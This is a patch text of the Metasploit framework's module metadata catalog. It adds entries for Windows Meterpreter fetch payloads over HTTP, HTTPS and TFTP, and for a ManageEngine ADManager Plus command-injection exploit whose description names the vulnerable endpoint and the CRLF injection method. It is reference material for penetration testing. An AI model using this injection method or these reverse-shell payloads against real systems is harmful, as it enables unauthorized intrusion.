"check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter_reverse_http": { + "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter_reverse_https": { + "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -182560,7 +183460,7 @@ "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/http/x64/meterpreter/reverse_tcp_uuid", + "ref_name": "cmd/windows/http/x64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -182569,9 +183469,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/http/x64/meterpreter/reverse_winhttp": { - "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_winhttp", + "payload_cmd/windows/http/x64/meterpreter_reverse_ipv6_tcp": { + "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_ipv6_tcp", "aliases": [ ], @@ -182580,11 +183480,10 @@ "type": "payload", "author": [ "Brendan Watters", - "skape ", - "sf ", - "OJ Reeves" + "OJ Reeves", + "sf " ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -182598,7 +183497,7 @@ "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/http/x64/meterpreter/reverse_winhttp", + "ref_name": "cmd/windows/http/x64/meterpreter_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182607,9 +183506,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/http/x64/meterpreter/reverse_winhttps": { - "name": "HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", - "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_winhttps", + "payload_cmd/windows/http/x64/meterpreter_reverse_tcp": { + "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", + "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_tcp", "aliases": [ ], @@ -182618,11 +183517,10 @@ "type": "payload", "author": [ "Brendan Watters", - "skape ", - "sf ", - "OJ Reeves" + "OJ Reeves", + "sf " ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -182636,7 +183534,7 @@ "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/http/x64/meterpreter/reverse_winhttps", + "ref_name": "cmd/windows/http/x64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -185051,7 +185949,239 @@ "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/https/x64/meterpreter/reverse_https", + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_rc4": { + "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_winhttp": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_winhttps": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, @@ -185060,9 +186190,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/https/x64/meterpreter/reverse_named_pipe": { - "name": "HTTPS Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_named_pipe", + "payload_cmd/windows/https/x64/meterpreter_bind_named_pipe": { + "name": "HTTPS Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter_bind_named_pipe", "aliases": [ ], @@ -185071,11 +186201,11 @@ "type": "payload", "author": [ "Brendan Watters", - "skape ", + "UserExistsError", "sf ", "OJ Reeves" ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -185089,7 +186219,7 @@ "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/https/x64/meterpreter/reverse_named_pipe", + "ref_name": "cmd/windows/https/x64/meterpreter_bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -185098,9 +186228,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/https/x64/meterpreter/reverse_tcp": { - "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", - "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp", + "payload_cmd/windows/https/x64/meterpreter_bind_tcp": { + "name": "HTTPS Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter_bind_tcp", "aliases": [ ], @@ -185109,11 +186239,10 @@ "type": "payload", "author": [ "Brendan Watters", - "skape ", - "sf ", - "OJ Reeves" + "OJ Reeves", + "sf " ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker (Windows x64)", + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -185127,7 +186256,7 @@ "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/https/x64/meterpreter/reverse_tcp", + "ref_name": "cmd/windows/https/x64/meterpreter_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -185136,9 +186265,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_rc4": { - "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp_rc4", + "payload_cmd/windows/https/x64/meterpreter_reverse_http": { + "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_http", "aliases": [ ], @@ -185147,15 +186276,10 @@ "type": "payload", "author": [ "Brendan Watters", - "skape ", - "sf ", "OJ Reeves", - "hdm ", - "mihi", - "max3raza", - "RageLtMan" + "sf " ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -185169,18 +186293,18 @@ "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/https/x64/meterpreter/reverse_tcp_rc4", + "ref_name": "cmd/windows/https/x64/meterpreter_reverse_http", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_uuid": { - "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp_uuid", + "payload_cmd/windows/https/x64/meterpreter_reverse_https": { + "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_https", "aliases": [ ], @@ -185189,11 +186313,10 @@ "type": "payload", "author": [ "Brendan Watters", - "skape ", - "sf ", - "OJ Reeves" + "OJ Reeves", + "sf " ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -185207,7 +186330,7 @@ "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/https/x64/meterpreter/reverse_tcp_uuid", + "ref_name": "cmd/windows/https/x64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -185216,9 +186339,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/https/x64/meterpreter/reverse_winhttp": { - "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_winhttp", + "payload_cmd/windows/https/x64/meterpreter_reverse_ipv6_tcp": { + "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_ipv6_tcp", "aliases": [ ], @@ -185227,11 +186350,10 @@ "type": "payload", "author": [ "Brendan Watters", - "skape ", - "sf ", - "OJ Reeves" + "OJ Reeves", + "sf " ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -185245,7 +186367,7 @@ "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/https/x64/meterpreter/reverse_winhttp", + "ref_name": "cmd/windows/https/x64/meterpreter_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -185254,9 +186376,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/https/x64/meterpreter/reverse_winhttps": { - "name": "HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", - "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_winhttps", + "payload_cmd/windows/https/x64/meterpreter_reverse_tcp": { + "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", + "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_tcp", "aliases": [ ], @@ -185265,11 +186387,10 @@ "type": "payload", "author": [ "Brendan Watters", - "skape ", - "sf ", - "OJ Reeves" + "OJ Reeves", + "sf " ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -185283,7 +186404,7 @@ "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/https/x64/meterpreter/reverse_winhttps", + "ref_name": "cmd/windows/https/x64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -199817,6 +200938,229 @@ "session_types": false, "needs_cleanup": false }, + "payload_cmd/windows/tftp/x64/meterpreter_bind_named_pipe": { + "name": "TFTP Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter_bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "UserExistsError", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/tftp/x64/meterpreter_bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/tftp/x64/meterpreter_bind_tcp": { + "name": "TFTP Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/tftp/x64/meterpreter_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/tftp/x64/meterpreter_reverse_http": { + "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/tftp/x64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/tftp/x64/meterpreter_reverse_https": { + "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/tftp/x64/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/tftp/x64/meterpreter_reverse_ipv6_tcp": { + "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/tftp/x64/meterpreter_reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/tftp/x64/meterpreter_reverse_tcp": { + "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/tftp/x64/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, "payload_cmd/windows/tftp/x64/peinject/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_ipv6_tcp", From c9627a7274bcad2b32ec7f28850189b0b74fd502 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 2 Jun 2023 11:30:01 -0500 Subject: [PATCH 283/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 67 ++++++++++++++++++++++++++++++++++- 1 file changed, 66 insertions(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 038fbc64c0c38..a97211f618d57 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -55459,7 +55459,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2023-06-02 10:22:56 +0000", "path": "/modules/encoders/cmd/powershell_base64.rb", "is_install_path": true, "ref_name": "cmd/powershell_base64", @@ -150410,6 +150410,71 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection": { + "name": "ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection", + "fullname": "exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-04-12", + "type": "exploit", + "author": [ + "Simon Humbert", + "Dinh Hoang", + "Grant Willcox" + ], + "description": "ManageEngine ADManager Plus prior to build 7181 is vulnerable to an authenticated command injection due to insufficient\n validation of user input when performing the ChangePasswordAction function before passing it into a string that is later\n used as an OS command to execute.\n\n By making a POST request to /api/json/admin/saveServerSettings with a params POST\n parameter containing a JSON array object that has a USERNAME or PASSWORD element containing a\n carriage return and newline, followed by the command the attacker wishes to execute, an attacker can gain RCE as the user\n running ADManager Plus, which will typically be the local administrator.\n\n Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings,\n so this vulnerability does require authentication to exploit.\n\n As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads\n with this exploit, since these will use HTTP connections that will be affected by the change in configuration.", + "references": [ + "CVE-2023-29084", + "URL-https://hnd3884.github.io/posts/CVE-2023-29084-Command-injection-in-ManageEngine-ADManager-plus/", + "URL-https://www.zerodayinitiative.com/advisories/ZDI-23-438/", + "URL-https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2023-29084.html", + "URL-https://www.manageengine.com/products/ad-manager/release-notes.html" + ], + "platform": "Windows", + "arch": "cmd", + "rport": 8080, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Windows Command" + ], + "mod_time": "2023-06-01 16:59:14 +0000", + "path": "/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb", + "is_install_path": true, + "ref_name": "windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ] + }, + "session_types": false, + "needs_cleanup": null + }, 